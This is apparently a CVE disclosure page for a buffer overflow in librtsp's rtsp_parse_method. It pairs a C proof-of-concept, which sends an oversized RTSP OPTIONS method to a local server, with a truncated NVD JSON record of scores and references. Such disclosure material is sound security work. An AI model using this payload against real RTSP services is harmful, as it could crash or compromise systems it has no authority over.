CVE-2026-1110

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> // PoC for CVE-2026-1110 - librtsp rtsp_parse_method buffer overflow #define BUFFER_SIZE 4096 #define PORT 8554 void send_malicious_rtsp_request(int sock) { char buffer[BUFFER_SIZE]; memset(buffer, 0, BUFFER_SIZE); // 构建超长RTSP方法字段以触发缓冲区溢出 strcpy(buffer, "OPTIONS "); memset(buffer + 7, 'A', 2000); // 超过预期的缓冲区大小 strcat(buffer, " RTSP/1.0\r\n"); strcat(buffer, "CSeq: 1\r\n"); strcat(buffer, "\r\n"); send(sock, buffer, strlen(buffer), 0); printf("[+] Malicious RTSP request sent\n"); } int main() { int sock; struct sockaddr_in server; sock = socket(AF_INET, SOCK_STREAM, 0); server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr.s_addr = inet_addr("127.0.0.1"); if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("[-] Connection failed"); return 1; } printf("[+] Connected to RTSP server\n"); send_malicious_rtsp_request(sock); close(sock); return 0; }

{"cve": {"id": "CVE-2026-1110", "sourceIdentifier": "[email protected]", "published": "2026-01-18T05:16:19.280", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in cijliu librtsp up to 2ec1a81ad65280568a0c7c16420d7c10fde13b04. This affects the function rtsp_parse_method. This manipulation causes buffer overflow. It is possible to launch the attack on the local host. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se ha encontrado una vulnerabilidad en cijliu librtsp hasta 2ec1a81ad65280568a0c7c16420d7c10fde13b04. Esto afecta a la función rtsp_parse_method. Esta manipulación causa desbordamiento de búfer. Es posible lanzar el ataque en el host local. Entrega continua con lanzamientos continuos es utilizada por este producto. Por lo tanto, no hay detalles de versión disponibles de las versiones afectadas ni actualizadas. El proveedor fue contactado con antelación sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cijliu:librtsp:*:*:*:*:*:*:*:*", "versionEndIncluding": "2021-03-14", "matchCriteriaId": "434C52CB-48A2-409B-8685-B0907D0936EF"}]}]}], "references": [{"url": "https://github.com/fizz-is-on-the-way/vuls_protocol/blob/main/librtsp_rtsp_parse_method/librtsp_rtsp_parse_method.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Adv ... 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